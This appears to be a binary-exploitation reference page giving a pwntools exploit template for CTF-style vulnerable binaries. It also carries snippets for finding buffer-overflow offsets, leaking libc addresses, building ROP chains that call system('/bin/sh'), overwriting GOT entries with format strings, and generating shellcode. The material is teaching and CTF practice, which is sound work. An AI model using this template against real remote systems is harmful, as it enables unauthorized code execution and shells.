Binary Exploitation

Pwntools Exploit Template

Reusable pwntools exploit template with boilerplate for local and remote connections, ELF loading, ROP chain building, and payload construction.

Contents

Pwntools Exploit Template

Source: Crypto-Cat Official Template


Full Template

from pwn import *


# ============================================================
#                    CONFIGURATION
# ============================================================

# Binary filename
exe = './vuln'

# Auto-detect arch, bits, os, endianness
elf = context.binary = ELF(exe, checksec=False)

# Logging level (error/warning/info/debug)
context.log_level = 'info'

# Libc (use pwninit/patchelf to patch binary)
# libc = ELF("./libc.so.6")
# ld = ELF("./ld-2.27.so")


# ============================================================
#                    HELPER FUNCTIONS
# ============================================================

def start(argv=[], *a, **kw):
    """Switch between local/GDB/remote from terminal"""
    if args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:
        return process([exe] + argv, *a, **kw)


def find_ip(payload):
    """Find offset to EIP/RIP for buffer overflows"""
    p = process(exe, level='warn')
    p.sendlineafter(b'>', payload)
    p.wait()
    
    # x86
    # ip_offset = cyclic_find(p.corefile.pc)
    
    # x64
    ip_offset = cyclic_find(p.corefile.read(p.corefile.sp, 4))
    
    warn('located EIP/RIP offset at {a}'.format(a=ip_offset))
    return ip_offset


# GDB script (breakpoints, init, etc.)
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())


# ============================================================
#                    EXPLOIT GOES HERE
# ============================================================

# Find EIP/RIP offset
offset = find_ip(cyclic(500))

# Start program
io = start()

# Build the payload
payload = flat({
    offset: [
        # ROP chain / address goes here
    ]
})

# Send the payload
io.sendlineafter(b'>', payload)

# Got Shell?
io.interactive()

Usage

# Run locally
python3 exploit.py

# Run under GDB
python3 exploit.py GDB

# Run against remote
python3 exploit.py REMOTE <host> <port>

Essential Pwntools Snippets

Finding Offset (De Bruijn Pattern)

# Generate cyclic pattern
payload = cyclic(200)

# Find offset from crash
offset = cyclic_find(0x61616166)      # x86: value in EIP
offset = cyclic_find(b'faaa')         # x64: value at RSP

Packing / Unpacking Addresses

p32(0xdeadbeef)          # Pack 32-bit little-endian
p64(0xdeadbeef)          # Pack 64-bit little-endian
u32(b'\xef\xbe\xad\xde')  # Unpack 32-bit
u64(b'\xef\xbe\xad\xde\x00\x00\x00\x00')  # Unpack 64-bit

Leaking Addresses

# Leak GOT entry via puts
io.recvuntil(b'output: ')
leak = u64(io.recvline().strip().ljust(8, b'\x00'))
log.info(f"Leaked address: {hex(leak)}")

# Calculate libc base
libc.address = leak - libc.symbols['puts']
log.info(f"Libc base: {hex(libc.address)}")

ROP with pwntools

rop = ROP(elf)
rop.call('puts', [elf.got['puts']])    # Leak
rop.call('main')                        # Return to main
log.info(rop.dump())

# With libc after leak
rop2 = ROP(libc)
rop2.call('system', [next(libc.search(b'/bin/sh\x00'))])

Format String Helper

# Automatic format string payload
from pwnlib.fmtstr import fmtstr_payload

# Overwrite target with value
payload = fmtstr_payload(offset, {target_addr: value})

# With context
payload = fmtstr_payload(offset, {elf.got['printf']: elf.symbols['system']})

Shellcode

# Generate shellcode
context.arch = 'amd64'
shellcode = asm(shellcraft.sh())        # /bin/sh
shellcode = asm(shellcraft.cat('flag.txt'))  # cat flag

# NOP sled + shellcode
payload = b'\x90' * 100 + shellcode

I/O Helpers

io.send(data)             # Send raw bytes
io.sendline(data)         # Send + newline
io.sendafter(b':', data)  # Wait for prompt, then send
io.sendlineafter(b'>', data)

io.recv(n)                # Receive n bytes
io.recvline()             # Receive until newline
io.recvuntil(b'>')        # Receive until delimiter
io.recvall()              # Receive everything

io.interactive()          # Interactive shell

ELF Symbols & Sections

elf.symbols['main']       # Address of main
elf.got['puts']           # GOT entry for puts
elf.plt['puts']           # PLT entry for puts
elf.search(b'/bin/sh')    # Search for string in binary

# With libc
libc.symbols['system']
libc.symbols['__free_hook']
next(libc.search(b'/bin/sh\x00'))

SSH Connection

shell = ssh('user', 'host', password='pass', port=22)
io = shell.process('./vuln')

References